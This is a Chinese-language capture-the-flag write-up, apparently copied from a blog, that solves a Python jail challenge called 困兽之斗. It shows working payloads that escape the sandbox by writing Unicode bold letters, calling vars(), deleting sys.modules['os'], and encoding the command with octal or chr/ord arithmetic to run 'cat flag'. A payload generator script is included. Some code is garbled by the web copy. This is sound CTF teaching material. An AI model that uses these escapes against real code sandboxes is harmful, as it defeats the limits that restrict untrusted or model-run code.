furryCTF-Misc-困兽之斗
?????https://www.cnblogs.com/luxlu/p/19599000/furryCTF-KUNSHOUZHIDOU
furryCTF-Misc-困兽之斗
一、题目分析
1.1 沙箱限制
┌──(kali㉿kali)-[~]
└─$ nc ctf.furryctf.com 32961
??
/
|•ᴥ•|
| 0101 |
|H4CK3R|
__/
Well,I just banned letters,digits, ‘.’ and ‘,’
And also banned getattr() and help() by replacing it
And I banned os,subprocess module by pre-load it as strings
Just give up~
Or you still wanna try?
根据提示,ban掉了:
- letters(字母) - 所有英文字母 a-z, A-Z
- digits(数字) - 所有数字 0-9
- 点号
.- 不能用点访问属性 - 逗号
,- 不能用逗号分隔参数 getattr()函数 - 被替换成空函数help()函数 - 被替换成空函数os模块 - 被预加载为字符串subprocess模块 - 被预加载为字符串
简单说就是:不能直接写正常的 Python 代码,因为变量名、函数名都需要字母和点号
1.2 攻击目标
我们需要绕过所有限制,最终执行系统命令(如 cat flag)来获取 flag。
二、绕过策略详解
2.1 绕过字母限制 - Unicode Normalization
核心原理: Python 3 在解析代码时会自动将某些 Unicode 字符(如数学粗体字母)转换为标准 ASCII 字符
**<font style="background-color:#FBDE28;">数学粗体不算字母</font>**
# 输入:𝐞𝐱𝐞𝐜 (数学粗体)
# Python 解析后:exec (标准 ASCII)
def bold_text(text):
"""将 ASCII 字母转换为 Unicode 数学粗体形式"""
result = []
for char in text:
if 'A' <= char <= 'Z':
bold_char = chr(ord(char) + 0x1D400 - ord('A'))
result.append(bold_char)
elif 'a' <= char <= 'z':
bold_char = chr(ord(char) + 0x1D41A - ord('a'))
result.append(bold_char)
else:
result.append(char)
return ''.join(result)
if name == “main“:
user_input = input(“请输入要加粗的文本: “)
print(“\n转换结果:”)
print(bold_text(user_input))

eg:
exec→𝐞𝐱𝐞𝐜chr→𝐜𝐡𝐫ord→𝐨𝐫𝐝vars→𝐯𝐚𝐫𝐬
2.2 绕过点号限制 - 使用 vars()
通常我们使用 obj.method() 来调用方法,但点号被禁用了。
解决方案: 使用 vars() 函数获取对象的属性字典
# 传统方式(被禁用)
os.system('cat flag')
绕过方式
vars(os)[‘system’](‘cat flag’)
vars() 函数说明:
vars(obj)返回对象的__dict__属性- 可以通过字典访问的方式调用方法
- 等价于
obj.__dict__['method']()
2.3 解封 os 模块 - 删除 sys.modules
题目预先将 sys.modules['os'] 设置为字符串 'Forbidden',导致无法正常导入。
Python 导入模块时会先检查 sys.modules:
- 如果模块已存在,直接返回缓存的模块
- 如果不存在,才会真正导入
# 删除伪造的模块
del modules['os']
重新导入真正的 os 模块
import(‘os’)
2.4 多行代码执行 - 使用 exec()
eval()只能执行单个表达式- 逗号被禁用,无法使用海象运算符
:= - 需要执行多条语句(删除模块 + 导入模块 + 执行命令)
使用 exec() 执行多行代码:
exec("del modules['os']\nvars(__import__('os'))['system']('cat flag')")
exec() v.s. eval()
eval():只能执行单个表达式,有返回值exec():可以执行多条语句,无返回值
2.5 绕过数字限制 - 八进制 + 字符运算
数字被禁用,无法直接写字符串。
八进制转义
# 'd' 的 ASCII 码是 100,八进制是 \144
"\144" # 等价于 'd'
字符运算
使用带重音符号的字符进行加减运算:
# 'd' 的 ASCII 码是 100
chr(ord('ō') - ord('é')) # 'ō' 是 333,'é' 是 233,差值是 100
为什么用减法而不是加法?
- 加法可能产生 ASCII 字母(被检测)
- 减法更容易控制结果范围
三、完整 Payload 构造
3.1 第一阶段:使用八进制
# 原始命令
exec("del modules['os']\nvars(__import__('os'))['system']('cat flag')")
转换为八进制(绕过字母和数字)
𝐞𝐱𝐞𝐜(“\144\145\154\40\155\157\144\165\154\145\163[‘\157\163’]\12\166\141\162\163(\151\155\160\157\162\164(‘\157\163’))‘\163\171\163\164\145\155’“)
注意: 换行符 \n 的八进制是 \12(不是 \1\2)
3.2 第二阶段:使用字符运算(完全绕过数字)
将八进制中的数字也替换为字符运算:
𝐞𝐱𝐞𝐜(𝐜𝐡𝐫(𝐨𝐫𝐝('ō')-𝐨𝐫𝐝('é'))+𝐜𝐡𝐫(𝐨𝐫𝐝('ō')-𝐨𝐫𝐝('è'))+...)
# gen_payload_full_unicode.py
def to_math_bold(s):
“””将 ASCII 字母转为 Unicode 数学粗体”””
res = []
for c in s:
if ‘A’ <= c <= ‘Z’:
res.append(chr(ord(c) - ord(‘A’) + 0x1D400))
elif ‘a’ <= c <= ‘z’:
res.append(chr(ord(c) - ord(‘a’) + 0x1D41A))
else:
res.append(c)
return ‘’.join(res)
def char_to_expr(c):
“””
将单个字符 c 转换为 chr(ord(‘ō’) - ord(X)) 形式
其中 X = chr(333 - ord(c))
“””
code = ord(c)
base_char = chr(333 - code) # 因为 ord(‘ō’) = 333
# 返回字符串形式:chr(ord(‘ō’)-ord(‘X’))
return f”𝐜𝐡𝐫(𝐨𝐫𝐝(‘ō’)-𝐨𝐫𝐝(‘{base_char}’))”
def str_to_char_expr(s):
“””将整个字符串转为字符运算拼接表达式”””
parts = [char_to_expr(c) for c in s]
# 用 ‘+’ 连接(注意:不能用逗号!)
return ‘+’.join(parts)
原始 payload 内容
payload_code = ‘’’del modules[‘os’]
vars(import(‘os’))[‘system’](‘cat flag’)’’’
步骤 1: 将 payload_code 转为字符运算表达式
expr = str_to_char_expr(payload_code)
步骤 2: 构造 exec( … ) 调用
exec_call = f”𝐞𝐱𝐞𝐜({expr})”
print(“=== Final Payload (Full Unicode Char Arithmetic) ===”)
print(exec_call)
print(“\n=== Length:”, len(exec_call), “characters ===”)

furryCTF{b37bc8c8a3fe_jUSt_RUN_0Ut_Fr0M_thE_sand60x_WiTH_unIC0De}
- 字母 → Unicode 粗体字母
- 数字 → 八进制或字符运算
- 点号 →
vars()字典访问 - 模块限制 → 删除
sys.modules缓存 - 多行代码 →
exec()执行